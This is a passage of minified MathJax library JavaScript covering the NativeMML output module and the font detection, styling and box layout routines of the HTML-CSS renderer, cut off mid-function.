l){if(!k[n]&&l.hasOwnProperty(n)){if(this[n]!=null){h.setAttribute(n,this.NativeMMLattribute(n,this[n]))}}}for(var j=0,g=o.length;j<g;j++){if(this[o[j]]!=null){h.setAttribute(o[j],this.NativeMMLattribute(o[j],this[o[j]]))}}},NativeMMLcopyAttributes:["fontfamily","fontsize","fontweight","fontstyle","color","background","id","class","href","style"],NativeMMLskipAttributes:{texClass:1,useHeight:1,texprimestyle:1},NativeMMLattribute:function(h,g){g=String(g);if(b.NAMEDSPACE[g]){g=b.NAMEDSPACE[g]}else{if(g.match(/^\s*([-+]?(\d+(\.\d*)?|\.\d+))\s*mu\s*$/)){g=((1/18)*RegExp.$1)+"em"}else{if(g==="-tex-caligraphic"){g="script"}else{if(g==="-tex-oldstyle"){g="normal"}}}}return g},NativeMMLelement:(c?function(g){return document.createElement("mjx:"+g)}:function(g){return document.createElementNS(b.MMLnamespace,g)})});a.mrow.Augment({toNativeMML:function(j){if(this.inferred&&this.parent.inferRow){for(var h=0,g=this.data.length;h<g;h++){if(this.data[h]){this.data[h].toNativeMML(j)}else{j.appendChild(this.NativeMMLelement("mrow"))}}}else{this.SUPER(arguments).toNativeMML.call(this,j)}}});a.msubsup.Augment({toNativeMML:function(l){var k=this.type;if(this.data[this.sup]==null){k="msub"}if(this.data[this.sub]==null){k="msup"}var h=this.NativeMMLelement(k);this.NativeMMLattributes(h);delete this.data[0].inferred;for(var j=0,g=this.data.length;j<g;j++){if(this.data[j]){this.data[j].toNativeMML(h)}}l.appendChild(h)}});a.munderover.Augment({toNativeMML:function(l){var k=this.type;if(this.data[this.under]==null){k="mover"}if(this.data[this.over]==null){k="munder"}var h=this.NativeMMLelement(k);this.NativeMMLattributes(h);delete this.data[0].inferred;for(var j=0,g=this.data.length;j<g;j++){if(this.data[j]){this.data[j].toNativeMML(h)}}l.appendChild(h)}});if(MathJax.Hub.Browser.isFirefox){a.mtable.Augment({toNativeMML:function(g){if(this.width){var h=(this.style||"").replace(/;\s*$/,"").split(";");h.push("width:"+this.width);this.style=h.join(";")}this.SUPER(arguments).toNativeMML.call(this,g)}});a.mlabeledtr.Augment({toNativeMML:function(k){var h=this.NativeMMLelement("mtr");this.NativeMMLattributes(h);for(var j=1,g=this.data.length;j<g;j++){if(this.data[j]){this.data[j].toNativeMML(h)}else{h.appendChild(this.NativeMMLelement("mrow"))}}k.appendChild(h)}});var f=MathJax.Hub.config.root+"/fonts/HTML-CSS/TeX/otf";b.Augment({config:{styles:{'[mathvariant="double-struck"]':{"font-family":"MathJax_AMS"},'[mathvariant="script"]':{"font-family":"MathJax_Script"},'[mathvariant="fraktur"]':{"font-family":"MathJax_Fraktur"},'[mathvariant="-tex-oldstyle"]':{"font-family":"MathJax_Caligraphic"},'[mathvariant="-tex-oldstyle-bold"]':{"font-family":"MathJax_Caligraphic","font-weight":"bold"},'[mathvariant="-tex-caligraphic"]':{"font-family":"MathJax_Caligraphic"},'[mathvariant="-tex-caligraphic-bold"]':{"font-family":"MathJax_Caligraphic","font-weight":"bold"},'[mathvariant="bold-script"]':{"font-family":"MathJax_Script","font-weight":"bold"},'[mathvariant="bold-fraktur"]':{"font-family":"MathJax_Fraktur","font-weight":"bold"},'[mathvariant="monospace"]':{"font-family":"monospace"},'[mathvariant="sans-serif"]':{"font-family":"sansserif"},'[mathvariant="bold-sans-serif"]':{"font-family":"sansserif","font-weight":"bold"},'[mathvariant="sans-serif-italic"]':{"font-family":"sansserif","font-style":"italic"},'[mathvariant="sans-serif-bold-italic"]':{"font-family":"sansserif","font-style":"italic","font-weight":"bold"},"@font-face /*1*/":{"font-family":"MathJax_AMS",src:"local('MathJax_AMS'), url('"+f+"/MathJax_AMS-Regular.otf')"},"@font-face /*2*/":{"font-family":"MathJax_Script",src:"local('MathJax_Script'), url('"+f+"/MathJax_Script-Regular.otf')"},"@font-face /*3*/":{"font-family":"MathJax_Fraktur",src:"local('MathJax_Fraktur'), url('"+f+"/MathJax_Fraktur-Regular.otf')"},"@font-face /*4*/":{"font-family":"MathJax_Caligraphic",src:"local('MathJax_Caligraphic'), url('"+f+"/MathJax_Caligraphic-Regular.otf')"},"@font-face /*5*/":{"font-family":"MathJax_Fraktur","font-weight":"bold",src:"local('MathJax_Fraktur-Bold'), url('"+f+"/MathJax_Fraktur-Bold.otf')"},"@font-face /*6*/":{"font-family":"MathJax_Caligraphic","font-weight":"bold",src:"local('MathJax_Caligraphic-Bold'), url('"+f+"/MathJax_Caligraphic-Bold.otf')"}}}})}a.TeXAtom.Augment({toNativeMML:function(h){var g=this.NativeMMLelement("mrow");this.data[0].toNativeMML(g);h.appendChild(g)}});a.chars.Augment({toNativeMML:function(g){g.appendChild(document.createTextNode(this.toString()))}});a.entity.Augment({toNativeMML:function(g){g.appendChild(document.createTextNode(this.toString()))}});a.xml.Augment({toNativeMML:function(j){for(var h=0,g=this.data.length;h<g;h++){j.appendChild(this.data[h].cloneNode(true))}}});e.Register.StartupHook("TeX mathchoice Ready",function(){a.TeXmathchoice.Augment({toNativeMML:function(g){this.Core().toNativeMML(g)}})});setTimeout(MathJax.Callback(["loadComplete",b,"jax.js"]),0)});e.Register.StartupHook("End Cookie",function(){if(e.config.menuSettings.zoom!=="None"){d.Require("[MathJax]/extensions/MathZoom.js")}})})(MathJax.OutputJax.NativeMML,MathJax.Hub,MathJax.Ajax);
-
-(function(c,d,e){var a;var b=MathJax.Object.Subclass({timeout:5*1000,FontInfo:{STIX:{family:"STIXSizeOneSym",testString:"() {} []"},TeX:{family:"MathJax_Size1",testString:"() {} []"}},comparisonFont:["sans-serif","monospace","script","Times","Courier","Arial","Helvetica"],testSize:["40px","50px","60px","30px","20px"],Init:function(){this.div=MathJax.HTML.addElement(document.body,"div",{style:{position:"absolute",visibility:"hidden",top:0,left:0,width:"auto",padding:0,border:0,margin:0,textAlign:"left",textIndent:0,textTransform:"none",lineHeight:"normal",letterSpacing:"normal",wordSpacing:"normal",fontSize:this.testSize[0],fontWeight:"normal",fontStyle:"normal"}},[""]);this.text=this.div.firstChild},findFont:function(j,g){if(g&&this.testCollection(g)){return g}for(var h=0,f=j.length;h<f;h++){if(j[h]===g){continue}if(this.testCollection(j[h])){return j[h]}}return null},testCollection:function(f){return this.testFont(this.FontInfo[f])},testFont:function(h){if(h.isWebFont&&e.FontFaceBug){this.div.style.fontWeight=this.div.style.fontStyle="normal"}else{this.div.style.fontWeight=(h.weight||"normal");this.div.style.fontStyle=(h.style||"normal")}var g=this.getComparisonWidths(h.testString,h.noStyleChar);if(g){this.div.style.fontFamily="'"+h.family+"',"+this.comparisonFont[0];if(this.div.offsetWidth==g[0]){this.div.style.fontFamily="'"+h.family+"',"+this.comparisonFont[g[2]];if(this.div.offsetWidth==g[1]){return false}}if(this.div.offsetWidth!=g[3]){if(h.noStyleChar||!e.FONTDATA||!e.FONTDATA.hasStyleChar){return true}for(var j=0,f=this.testSize.length;j<f;j++){if(this.testStyleChar(h,this.testSize[j])){return true}}}}return false},styleChar:String.fromCharCode(61437),versionChar:String.fromCharCode(61438),compChar:String.fromCharCode(61439),testStyleChar:function(h,j){var m=3+(h.weight?2:0)+(h.style?4:0);var g="",i=0;var l=this.div.style.fontSize;this.div.style.fontSize=j;if(e.msieItalicWidthBug&&h.style==="italic"){this.text.nodeValue=g=this.compChar;i=this.div.offsetWidth}if(e.safariTextNodeBug){this.div.innerHTML=this.compChar+g}else{this.text.nodeValue=this.compChar+g}var f=this.div.offsetWidth-i;if(e.safariTextNodeBug){this.div.innerHTML=this.styleChar+g}else{this.text.nodeValue=this.styleChar+g}var k=Math.floor((this.div.offsetWidth-i)/f+0.5);if(k===m){if(e.safariTextNodeBug){this.div.innerHTML=this.versionChar+g}else{this.text.nodeValue=this.versionChar+g}h.version=Math.floor((this.div.offsetWidth-i)/f+1.5)/2}this.div.style.fontSize=l;return(k===m)},getComparisonWidths:function(j,h){if(e.FONTDATA&&e.FONTDATA.hasStyleChar&&!h){j+=this.styleChar+" "+this.compChar}if(e.safariTextNodeBug){this.div.innerHTML=j}else{this.text.nodeValue=j}this.div.style.fontFamily=this.comparisonFont[0];var g=this.div.offsetWidth,l=-1;if(e.safariWebFontSerif){this.div.style.fontFamily=e.safariWebFontSerif[0];l=this.div.offsetWidth}for(var k=1,f=this.comparisonFont.length;k<f;k++){this.div.style.fontFamily=this.comparisonFont[k];if(this.div.offsetWidth!=g){return[g,this.div.offsetWidth,k,l]}}return null},loadWebFont:function(g){d.Startup.signal.Post("HTML-CSS Jax - Web-Font "+e.fontInUse+"/"+g.directory);var i=MathJax.Message.File("Web-Font "+e.fontInUse+"/"+g.directory);var f=MathJax.Callback({});var h=MathJax.Callback(["loadComplete",this,g,i,f]);c.timer.start(c,[this.checkWebFont,g,h],1,this.timeout);return f},loadComplete:function(h,j,g,f){MathJax.Message.Clear(j);if(f===c.STATUS.OK){g();return}this.loadError(h);if(d.Browser.isFirefox&&e.allowWebFonts){var i=document.location.protocol+"//"+document.location.hostname;if(document.location.port!=""){i+=":"+document.location.port}i+="/";if(c.fileURL(e.webfontDir).substr(0,i.length)!==i){this.firefoxFontError(h)}}e.loadWebFontError(h,g)},loadError:function(f){MathJax.Message.Set("Can't load web font "+e.fontInUse+"/"+f.directory,null,2000)},firefoxFontError:function(f){MathJax.Message.Set("Firefox can't load web fonts from a remote host",null,3000)},checkWebFont:function(f,g,h){if(f.time(h)){return}if(e.Font.testFont(g)){h(f.STATUS.OK)}else{setTimeout(f,f.delay)}},fontFace:function(h){var i=e.allowWebFonts;var k=e.FONTDATA.FONTS[h];if(e.msieFontCSSBug&&!k.family.match(/-Web$/)){k.family+="-Web"}var g=c.fileURL(e.webfontDir+"/"+i);var f=h.replace(/-b/,"-B").replace(/-i/,"-I").replace(/-Bold-/,"-Bold");if(!f.match(/-/)){f+="-Regular"}if(i==="svg"){f+=".svg#"+f}else{f+="."+i}var j={"font-family":k.family,src:"url('"+g+"/"+f+"')"};if(i==="svg"){j.src+=" format('svg')"}if(!(e.FontFaceBug&&k.isWebFont)){if(h.match(/-bold/)){j["font-weight"]="bold"}if(h.match(/-italic/)){j["font-style"]="italic"}}return j}});e.Augment({config:{styles:{".MathJax":{display:"inline","font-family":"serif","font-style":"normal","font-weight":"normal","line-height":"normal","font-size":"100%","font-size-adjust":"none","text-indent":0,"text-align":"left","text-transform":"none","letter-spacing":"normal","word-spacing":"normal","word-wrap":"normal","white-space":"nowrap","float":"none",direction:"ltr",border:0,padding:0,margin:0},".MathJax_Display":{position:"relative",display:"block",width:"100%"},".MathJax img, .MathJax nobr, .MathJax a":{border:0,padding:0,margin:0,"max-width":"none","max-height":"none","vertical-align":0,"line-height":"normal","text-decoration":"none"},"img.MathJax_strut":{border:"0 !important",padding:"0 !important",margin:"0 !important","vertical-align":"0 !important"},".MathJax span":{display:"inline",position:"static",border:0,padding:0,margin:0,"vertical-align":0,"line-height":"normal","text-decoration":"none"},".MathJax nobr":{"white-space":"nowrap"},".MathJax img":{display:"inline ! important"},".MathJax_Processing":{visibility:"hidden",position:"fixed",width:0,height:0,overflow:"hidden"},".MathJax .MathJax_HitBox":{cursor:"text"},"#MathJax_Tooltip":{position:"absolute",left:0,top:0,width:"auto",height:"auto",display:"none"},"#MathJax_Tooltip *":{filter:"none",background:"transparent"}}},settings:d.config.menuSettings,LEFTBUTTON:(d.Browser.isMSIE?1:0),MENUKEY:"altKey",Font:null,Config:function(){this.Font=b();this.SUPER(arguments).Config.call(this);var g=this.settings;if(this.adjustAvailableFonts){this.adjustAvailableFonts(this.config.availableFonts)}if(g.scale){this.config.scale=g.scale}if(g.font&&g.font!=="Auto"){if(g.font==="TeX (local)"){this.config.availableFonts=["TeX"];this.config.preferredFont="TeX";this.config.webFont="TeX"}else{if(g.font==="STIX (local)"){this.config.availableFonts=["STIX"];this.config.preferredFont="STIX";this.config.webFont="TeX"}else{if(g.font==="TeX (web)"){this.config.availableFonts=[];this.config.preferredFont="";this.config.webFont="TeX"}else{if(g.font==="TeX (image)"){this.config.availableFonts=[];this.config.preferredFont="";this.config.webFont=""}}}}}var f=this.Font.findFont(this.config.availableFonts,this.config.preferredFont);if(!f&&this.allowWebFonts){f=this.config.webFont;if(f){this.webFonts=true}}if(!f&&this.config.imageFont){f=this.config.imageFont;this.imgFonts=true}if(f){this.fontInUse=f;this.fontDir+="/"+f;this.webfontDir+="/"+f;if(!this.require){this.require=[]}this.require.push(this.fontDir+"/fontdata.js");if(this.imgFonts){this.require.push(this.directory+"/imageFonts.js");d.Startup.signal.Post("HTML-CSS Jax - using image fonts")}}else{MathJax.Message.Set("Can't find a valid font using ["+this.config.availableFonts.join(", ")+"]",null,3000);this.FONTDATA={TeX_factor:1,baselineskip:1.2,lineH:0.8,lineD:0.2,ffLineH:0.8,FONTS:{},VARIANT:{normal:{fonts:[]}},RANGES:[],DELIMITERS:{},RULECHAR:45,REMAP:{}};if(MathJax.InputJax.TeX&&MathJax.InputJax.TeX.Definitions){MathJax.InputJax.TeX.Definitions.macros.overline[1]="002D";MathJax.InputJax.TeX.Definitions.macros.underline[1]="002D"}d.Startup.signal.Post("HTML-CSS Jax - no valid font")}},Startup:function(){var h=[],l=this.FONTDATA.VARIANT.normal.fonts;if(!(l instanceof Array)){l=[l]}for(var g=0,f=l.length;g<f;g++){h[g]=this.FONTDATA.FONTS[l[g]].family;if(!h[g]){h[g]=l[g]}}this.config.styles[".MathJax .math span"]=this.config.styles["#MathJax_getScales"]={"font-family":h.join(",")};this.hiddenDiv=this.Element("div",{style:{visibility:"hidden",overflow:"hidden",position:"absolute",top:0,height:"1px",width:"auto",padding:0,border:0,margin:0,textAlign:"left",textIndent:0,textTransform:"none",lineHeight:"normal",letterSpacing:"normal",wordSpacing:"normal"}});if(!document.body.firstChild){document.body.appendChild(this.hiddenDiv)}else{document.body.insertBefore(this.hiddenDiv,document.body.firstChild)}this.hiddenDiv=this.addElement(this.hiddenDiv,"div",{id:"MathJax_Hidden"});var k=this.addElement(this.hiddenDiv,"div",{style:{width:"5in"}});this.pxPerInch=k.offsetWidth/5;this.hiddenDiv.removeChild(k);this.startMarker=e.createStrut(this.Element("span"),10,true);this.endMarker=this.addText(this.Element("span"),"x").parentNode;this.HDspan=this.Element("span");if(this.operaHeightBug){this.createStrut(this.HDspan,0)}if(this.msieInlineBlockAlignBug){this.HDimg=this.addElement(this.HDspan,"img",{style:{height:"0px",width:"1px"}});try{this.HDimg.src="about:blank"}catch(j){}}else{this.HDimg=e.createStrut(this.HDspan,0)}this.HDMspan=this.Element("span",{style:{position:"absolute","font-size-adjust":"none"}});if(this.msieInlineBlockAlignBug){this.HDMimg=this.addElement(this.HDMspan,"img",{style:{height:"0px",width:"1px","max-width":"none","max-height":"none",border:0,padding:0,margin:0}});try{this.HDMimg.src="about:blank"}catch(j){}}else{this.HDMimg=e.createStrut(this.HDMspan,0);this.HDMimg.style.marginRight=""}this.marginCheck=e.Element("span",null,[["span",{style:{display:"inline-block",width:"5em"}}]]);this.marginMove=e.addElement(this.marginCheck,"span",{style:{display:"inline-block",width:"5em",marginLeft:"-5em"}});return c.Styles(this.config.styles,["PreloadWebFonts",this])},PreloadWebFonts:function(){if(!e.allowWebFonts||!e.config.preloadWebFonts){return}for(var g=0,f=e.config.preloadWebFonts.length;g<f;g++){var h=e.FONTDATA.FONTS[e.config.preloadWebFonts[g]];if(!h.available){e.Font.testFont(h)}}},Translate:function(l){if(!l.parentNode){return}var j=l.previousSibling;if(j&&String(j.className).match(/^MathJax(_MathML|_Display)?$/)){j.parentNode.removeChild(j)}var m=l.MathJax.elementJax.root,n,f,h;n=f=h=this.Element("span",{className:"MathJax",oncontextmenu:this.ContextMenu,onmousedown:this.Mousedown,onmouseover:this.Mouseover,onclick:this.Click,ondblclick:this.DblClick});var i=(m.Get("display")==="block");if(i){f=h=this.Element("div",{className:"MathJax_Display",style:{width:"100%",position:"relative"}});f.appendChild(n)}f.setAttribute("role","textbox");f.setAttribute("aria-readonly","true");if(this.useProcessingFrame){h=this.Element((i?"div":"span"),{className:"MathJax_Processing"});h.appendChild(f)}l.parentNode.insertBefore(h,l);var g;try{this.getScales(n);g=(this.em===0||String(this.em)==="NaN")}catch(k){g=true}if(g){this.hiddenDiv.appendChild(h);this.getScales(n)}this.initImg(n);this.initHTML(m,n);m.setTeXclass();try{m.toHTML(n,f)}catch(k){if(k.restart){h.parentNode.removeChild(h)}throw k}if(g){l.parentNode.insertBefore(h,l)}if(this.useProcessingFrame){h.parentNode.replaceChild(f,h)}},ContextMenu:function(i,j){if(e.config.showMathMenu&&(e.settings.context==="MathJax"||j)){if(e.safariContextMenuBug){setTimeout("window.getSelection().empty()",0)}if(!i||e.msieEventBug){i=window.event}var f=MathJax.Menu;if(f){var h=(this.parentNode.className==="MathJax_Display"?this.parentNode:this);f.jax=d.getJaxFor(h.nextSibling);f.menu.items[1].menu.items[1].name=(f.jax.inputJax.id==="MathML"?"Original":f.jax.inputJax.id);return f.menu.Post(i)}else{if(!c.loadingMathMenu){c.loadingMathMenu=true;var g={pageX:i.pageX,pageY:i.pageY,clientX:i.clientX,clientY:i.clientY};MathJax.Callback.Queue(c.Require("[MathJax]/extensions/MathMenu.js"),function(){delete c.loadingMathMenu},[this,arguments.callee,g,j])}if(!i){i=window.event}if(i.preventDefault){i.preventDefault()}if(i.stopPropagation){i.stopPropagation()}i.cancelBubble=true;i.returnValue=false;return false}}},Mousedown:function(f){if(e.config.showMathMenu){if(!f){f=window.event}if(e.settings.context==="MathJax"){if(!e.noContextMenuBug||f.button!==2){return}}else{if(!f[e.MENUKEY]||f.button!==e.LEFTBUTTON){return}}return e.ContextMenu.call(this,f,true)}},Mouseover:function(f){e.HandleEvent(f,"Mouseover",this)},Click:function(f){e.HandleEvent(f,"Click",this)},DblClick:function(f){e.HandleEvent(f,"DblClick",this)},HandleEvent:function(h,f,g){},initImg:function(f){},initHTML:function(g,f){},initFont:function(f){var h=e.FONTDATA.FONTS,g=e.config.availableFonts;if(g&&g.length&&e.Font.testFont(h[f])){h[f].available=true;return null}if(!this.allowWebFonts){return null}h[f].isWebFont=true;if(e.FontFaceBug){h[f].family=f;if(e.msieFontCSSBug){h[f].family+="-Web"}}return c.Styles({"@font-face":this.Font.fontFace(f)})},Remove:function(f){var g=f.SourceElement();if(!g){return}g=g.previousSibling;if(!g){return}if(g.className.match(/^MathJax/)){g.parentNode.removeChild(g)}},getScales:function(h){h.parentNode.insertBefore(this.HDMspan,h);this.HDMspan.className="";this.HDMspan.id="";this.HDMspan.style.fontSize="";this.HDMimg.style.height="1px";this.HDMimg.style.width="60ex";var g=this.HDMspan.offsetWidth/60;this.HDMspan.className="MathJax";this.HDMspan.id="MathJax_getScales";this.HDMimg.style.width="60em";var f=this.outerEm=this.HDMspan.offsetWidth/60;this.scale=Math.floor(Math.max(this.config.minScaleAdjust/100,(g/this.TeX.x_height)/f)*this.config.scale);h.style.fontSize=this.HDMspan.style.fontSize=this.scale+"%";this.em=a.mbase.prototype.em=this.HDMspan.offsetWidth/60;if(this.operaFontSizeBug&&f===this.em&&this.scale!==100){this.em=a.mbase.prototype.em=f*this.scale/100}h.parentNode.removeChild(this.HDMspan);this.msieMarginScale=this.getMarginScale(h)},getMarginScale:function(f){return 1},getMSIEmarginScale:function(h){h.appendChild(this.marginCheck);var f=this.marginCheck.offsetWidth,g=this.marginMove.offsetWidth;var i=(2*g-f?g/(2*g-f):1);h.removeChild(this.marginCheck);return i},getHD:function(g){var f=g.style.position;g.style.position="absolute";this.HDimg.style.height="0px";g.appendChild(this.HDspan);var h={h:g.offsetHeight};this.HDimg.style.height=h.h+"px";h.d=g.offsetHeight-h.h;h.h-=h.d;h.h/=this.em;h.d/=this.em;g.removeChild(this.HDspan);g.style.position=f;return h},getW:function(i){var g=i.offsetWidth,h=(i.bbox?i.bbox.w:-1),j=i;if((h<0||this.negativeSkipBug)&&g>=0){if(this.negativeSkipBug){var f=i.style.position;i.style.position="absolute";j=this.startMarker;if(i.firstChild){i.insertBefore(j,i.firstChild)}else{i.appendChild(j)}j=this.startMarker}i.appendChild(this.endMarker);g=this.endMarker.offsetLeft-j.offsetLeft;i.removeChild(this.endMarker);if(this.negativeSkipBug){i.removeChild(j);i.style.position=f}}return g/this.em},Measured:function(h,g){if(h.bbox.width==null&&h.bbox.w&&!h.bbox.isMultiline){var f=this.getW(h);h.bbox.rw+=f-h.bbox.w;h.bbox.w=f}if(!g){g=h.parentNode}if(!g.bbox){g.bbox=h.bbox}return h},Remeasured:function(g,f){f.bbox=this.Measured(g,f).bbox},Em:function(f){if(Math.abs(f)<0.0006){return"0em"}return f.toFixed(3).replace(/\.?0+$/,"")+"em"},Percent:function(f){return(100*f).toFixed(1).replace(/\.?0+$/,"")+"%"},length2percent:function(f){return this.Percent(this.length2em(f))},length2em:function(k,i){if(typeof(k)!=="string"){k=k.toString()}if(k===""){return""}if(k===a.SIZE.NORMAL){return 1}if(k===a.SIZE.BIG){return 2}if(k===a.SIZE.SMALL){return 0.71}if(k==="infinity"){return e.BIGDIMEN}var h=this.FONTDATA.TeX_factor;if(k.match(/mathspace$/)){return e.MATHSPACE[k]*h}var g=k.match(/^\s*([-+]?(?:\.\d+|\d+(?:\.\d*)?))?(pt|em|ex|mu|px|pc|in|mm|cm|%)?/);var f=parseFloat(g[1]||"1"),j=g[2];if(i==null){i=1}if(j==="em"){return f*h}if(j==="ex"){return f*e.TeX.x_height*h}if(j==="%"){return f/100*i}if(j==="px"){return f/e.em}if(j==="pt"){return f/10*h}if(j==="pc"){return f*1.2*h}if(j==="in"){return f*this.pxPerInch/e.em}if(j==="cm"){return f*this.pxPerInch/e.em/2.54}if(j==="mm"){return f*this.pxPerInch/e.em/25.4}if(j==="mu"){return f/18*h}return f*h*i},thickness2em:function(f){var g=e.TeX.rule_thickness;if(f===a.LINETHICKNESS.MEDIUM){return g}if(f===a.LINETHICKNESS.THIN){return 0.67*g}if(f===a.LINETHICKNESS.THICK){return 1.67*g}return this.length2em(f,g)},createStrut:function(i,g,j){var f=this.Element("span",{style:{display:"inline-block",overflow:"hidden",height:g+"px",width:"1px",marginRight:"-1px"}});if(j){i.insertBefore(f,i.firstChild)}else{i.appendChild(f)}return f},createBlank:function(g,f,h){var i=this.Element("span",{style:{display:"inline-block",overflow:"hidden",height:"1px",width:this.Em(f)}});if(h){g.insertBefore(i,g.firstChild)}else{g.appendChild(i)}return i},createShift:function(g,f,i){var h=this.Element("span",{style:{marginLeft:this.Em(f)}});if(i){g.insertBefore(h,g.firstChild)}else{g.appendChild(h)}return h},createSpace:function(k,j,m,f,g){var i=this.Em(Math.max(0,j+m)),l=this.Em(-m);if(this.msieInlineBlockAlignBug){l=this.Em(e.getHD(k.parentNode).d-m)}if(k.isBox||k.className=="mspace"){k.bbox={h:j*k.scale,d:m*k.scale,w:f*k.scale,rw:f*k.scale,lw:0};k.style.height=i;k.style.verticalAlign=l}else{k=this.addElement(k,"span",{style:{height:i,verticalAlign:l}})}if(f>=0){k.style.width=this.Em(f);k.style.display="inline-block"}else{if(this.msieNegativeSpaceBug){k.style.height=""}k.style.marginLeft=this.Em(f);if(e.safariNegativeSpaceBug&&k.parentNode.firstChild==k){this.createBlank(k,0,true)}}if(g&&g!==a.COLOR.TRANSPARENT){k.style.backgroundColor=g}return k},createRule:function(o,k,m,p,i){var j=e.TeX.min_rule_thickness;if(p>0&&p*this.em<j){p=j/this.em}if(k+m>0&&(k+m)*this.em<j){var l=1/(k+m)*(j/this.em);k*=l;m*=l}if(!i){i="solid"}else{i="solid "+i}i=this.Em(p)+" "+i;var q=this.Em(k+m),g=this.Em(-m);var n=this.addElement(o,"span",{style:{borderLeft:i,display:"inline-block",overflow:"hidden",width:0,height:q,verticalAlign:g},bbox:{h:k,d:m,w:p,rw:p,lw:0},noAdjust:true});if(p>0&&n.offsetWidth==0){n.style.width=this.Em(p)}if(o.isBox||o.className=="mspace"){o.bbox=n.bbox}return n},createFrame:function(o,m,n,p,r,g){var l=(this.msieBorderWidthBug?0:2*r);var q=this.Em(m+n-l),f=this.Em(-n-r),k=this.Em(p-l);var i=this.Em(r)+" "+g;var j=this.addElement(o,"span",{style:{border:i,display:"inline-block",overflow:"hidden",width:k,height:q},bbox:{h:m,d:n,w:p,rw:p,lw:0},noAdjust:true});if(f){j.style.verticalAlign=f}return j},createStack:function(h,j,g){if(this.msiePaddingWidthBug){this.createStrut(h,0)}var i=String(g).match(/%$/);var f=(!i&&g!=null?g:0);h=this.addElement(h,"span",{noAdjust:true,style:{display:"inline-block",position:"relative",width:(i?"100%":this.Em(f)),height:0}});if(!j){h.parentNode.bbox=h.bbox={h:-this.BIGDIMEN,d:-this.BIGDIMEN,w:f,lw:this.BIGDIMEN,rw:(!i&&g!=null?g:-this.BIGDIMEN)};if(i){h.bbox.width=g}}return h},createBox:function(g,f){var h=this.addElement(g,"span",{style:{position:"absolute"},isBox:true});if(f!=null){h.style.width=f}return h},addBox:function(f,g){g.style.position="absolute";g.isBox=true;return f.appendChild(g)},placeBox:function(n,m,k,i){var o=n.parentNode,v=n.bbox,q=o.bbox;if(this.msiePlaceBoxBug){this.addText(n,this.NBSP)}if(this.imgSpaceBug){this.addText(n,this.imgSpace)}var p=n.offsetHeight/this.em+1,z=0;if(n.noAdjust){p-=1}else{if(this.msieInlineBlockAlignBug){this.addElement(n,"img",{className:"MathJax_strut",border:0,src:"about:blank",style:{width:0,height:this.Em(p)}})}else{this.addElement(n,"span",{style:{display:"inline-block",width:0,height:this.Em(p)}})}}n.style.top=this.Em(-k-p);n.style.left=this.Em(m+z);if(v){if(this.negativeSkipBug){if(v.lw<0){z=v.lw;e.createBlank(n,-z,true);h=0}if(v.rw>v.w){e.createBlank(n,v.rw-v.w+0.1)}}if(!this.msieClipRectBug&&!v.noclip&&!i){var u=3/this.em;var s=(v.H==null?v.h:v.H),g=(v.D==null?v.d:v.D);var w=p-s-u,j=p+g+u,h=v.lw-3*u,f=1000;if(v.isFixed){f=v.width-h}n.style.clip="rect("+this.Em(w)+" "+this.Em(f)+" "+this.Em(j)+" "+this.Em(h)+")"}}if(v&&q){if(v.H!=null&&(q.H==null||v.H+k>q.H)){q.H=v.H+k}if(v.D!=null&&(q.D==null||v.D-k>q.D)){q.D=v.D-k}if(v.h+k>q.h){q.h=v.h+k}if(v.d-k>q.d){q.d=v.d-k}if(q.H!=null&&q.H<=q.h){delete q.H}if(q.D!=null&&q.D<=q.d){delete q.D}if(v.w+m>q.w){q.w=v.w+m;if(q.width==null){o.style.width=this.Em(q.w)}}if(v.rw+m>q.rw){q.rw=v.rw+m}if(v.lw+m<q.lw){q.lw=v.lw+m}if(v.width!=null&&!v.isFixed){if(q.width==null){o.style.width=q.width="100%"}n.style.width=v.width}}},alignBox:function(h,n,m){this.placeBox(h,0,m);var j=h.bbox;if(j.isMultiline){return}var g=j.width!=null&&!j.isFixed;var i=0,k=-j.w/2,f="50%";if(this.negativeSkipBug){i=j.w-j.rw-0.1;k+=j.lw}k=this.Em(k*this.msieMarginScale);if(g){k="";f=(50-parseFloat(j.width)/2)+"%"}d.Insert(h.style,({right:{left:"",right:this.Em(i)},center:{left:f,marginLeft:k}})[n])},setStackWidth:function(g,f){if(typeof(f)==="number"){g.style.width=this.Em(Math.max(0,f));if(g.bbox){g.bbox.w=f}if(g.parentNode.bbox){g.parentNode.bbox.w=f}}else{g.style.width=g.parentNode.style.width="100%";if(g.bbox){g.bbox.width=f}if(g.parentNode.bbox){g.parentNode.bbox.width=f}}},createDelimiter:function(q,f,h,l,j){if(!f){q.bbox={h:0,d:0,w:this.TeX.nulldelimiterspace,lw:0};q.bbox.rw=q.bbox.w;this.createSpace(q,q.bbox.h,q.bbox.d,q.bbox.w);return}if(!l){l=1}if(!(h instanceof Array)){h=[h,h]}var p=h[1];h=h[0];var g={alias:f};while(g.alias){f=g.alias;g=this.FONTDATA.DELIMITERS[f];if(!g){g={HW:[0,this.FONTDATA.VARIANT[a.VARIANT.NORMAL]]}}}for(var o=0,k=g.HW.length;o<k;o++){if(g.HW[o][0]*l>=h-0.01||(o==k-1&&!g.stretch)){if(g.HW[o][2]){l*=g.HW[o][2]}if(g.HW[o][3]){f=g.HW[o][3]}var n=this.addElement(q,"span");this.createChar(n,[f,g.HW[o][1]],l,j);q.bbox=n.bbox;q.offset=0.65*q.bbox.w;q.scale=l;return}}if(g.stretch){this["extendDelimiter"+g.dir](q,p,g.stretch,l,j)}},extendDelimiterV:function(v,p,A,B,s){var i=this.createStack(v,true);var r=this.createBox(i),q=this.createBox(i);this.createChar(r,(A.top||A.ext),B,s);this.createChar(q,(A.bot||A.ext),B,s);var g={bbox:{w:0,lw:0,rw:0}},z=g,j;var w=r.bbox.h+r.bbox.d+q.bbox.h+q.bbox.d;var m=-r.bbox.h;this.placeBox(r,0,m,true);m-=r.bbox.d;if(A.mid){z=this.createBox(i);this.createChar(z,A.mid,B,s);w+=z.bbox.h+z.bbox.d}if(p>w){g=this.Element("span");this.createChar(g,A.ext,B,s);var x=g.bbox.h+g.bbox.d,f=x-0.05,t,l,u=(A.mid?2:1);l=t=Math.ceil((p-w)/(u*f));if(!A.fullExtenders){f=(p-w)/(u*t)}var 